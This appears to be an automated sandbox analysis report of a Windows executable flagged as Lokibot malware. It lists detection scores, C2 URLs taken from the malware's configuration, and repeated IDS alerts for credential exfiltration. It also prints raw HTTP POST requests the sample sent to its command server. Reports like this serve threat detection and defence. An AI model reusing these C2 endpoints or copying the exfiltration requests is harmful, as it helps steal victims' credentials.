Windows Analysis Report __.exe

AV Detection:

Found malware configuration

Source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Multi AV Scanner detection for submitted file

Source: __.exe	Virustotal: Detection: 34%			Perma Link
Source: __.exe	ReversingLabs: Detection: 39%

Antivirus detection for URL or domain

Source: http://slimpackage.com/slimmain/five/fre.php3	Avira URL Cloud: Label: malware
Source: http://slimpackage.com/slimmain/five/fre.php	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: slimpackage.com

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nsjD69.tmp\firfslz.dll

Virustotal: Detection: 13%

Perma Link

Machine Learning detection for sample

Source: __.exe

Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 3.0.__.exe.400000.0.unpack

Avira: Label: TR/Patched.Ren.Gen2

Compliance:

Uses 32bit PE files

Source: __.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Binary contains paths to debug symbols

Source:	Binary string: wntdll.pdbUGP source: __.exe, 00000002.00000003.291276471.00000000030A0000.00000004.00000001.sdmp, __.exe, 00000002.00000003.292633393.0000000003230000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: __.exe, 00000002.00000003.291276471.00000000030A0000.00000004.00000001.sdmp, __.exe, 00000002.00000003.292633393.0000000003230000.00000004.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_00405D7C FindFirstFileA,FindClose,		2_2_00405D7C
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_004053AA CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		2_2_004053AA
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_00402630 FindFirstFileA,		2_2_00402630
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,		3_2_00403D74

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49743 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49743 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49743 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49744 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49744 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49744 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49745 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49745 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49745 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49746 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49746 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49746 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49747 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49747 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49747 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49748 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49748 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49748 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49749 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49749 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49749 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49750 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49750 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49750 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49751 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49751 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49751 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49752 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49752 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49752 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49753 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49753 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49753 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49754 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49754 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49754 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49755 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49755 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49755 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49758 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49758 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49758 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49759 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49759 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49759 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49760 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49760 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49760 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49761 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49761 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49761 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49762 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49762 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49762 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49763 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49763 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49763 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49764 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49764 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49764 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49765 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49765 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49765 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49766 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49766 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49766 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49767 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49767 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49767 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49769 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49769 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49769 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49770 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49770 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49770 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49771 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49771 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49771 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49772 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49772 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49772 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49781 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49781 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49781 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49791 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49791 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49791 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49809 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49809 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49809 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49810 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49810 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49810 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49811 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49811 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49811 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49817 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49817 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49817 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49818 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49818 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49818 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49819 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49819 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49819 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49821 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49821 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49821 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49822 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49822 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49822 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49830 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49830 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49830 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49837 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49837 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49837 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49844 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49844 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49844 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49848 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49848 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49848 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49849 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49849 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49849 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49851 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49851 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49851 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49852 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49852 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49852 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49853 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49853 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49853 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49854 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49854 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49854 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49855 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49855 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49855 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49856 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49856 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49856 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49857 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49857 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49857 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49858 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49858 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49858 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49859 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49859 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49859 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49860 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49860 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49860 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49861 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49861 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49861 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49862 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49862 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49862 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49863 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49863 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49863 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49864 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49864 -> 104.223.93.105:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49864 -> 104.223.93.105:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 104.223.93.105 104.223.93.105
Source: Joe Sandbox View	IP Address: 104.223.93.105 104.223.93.105

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
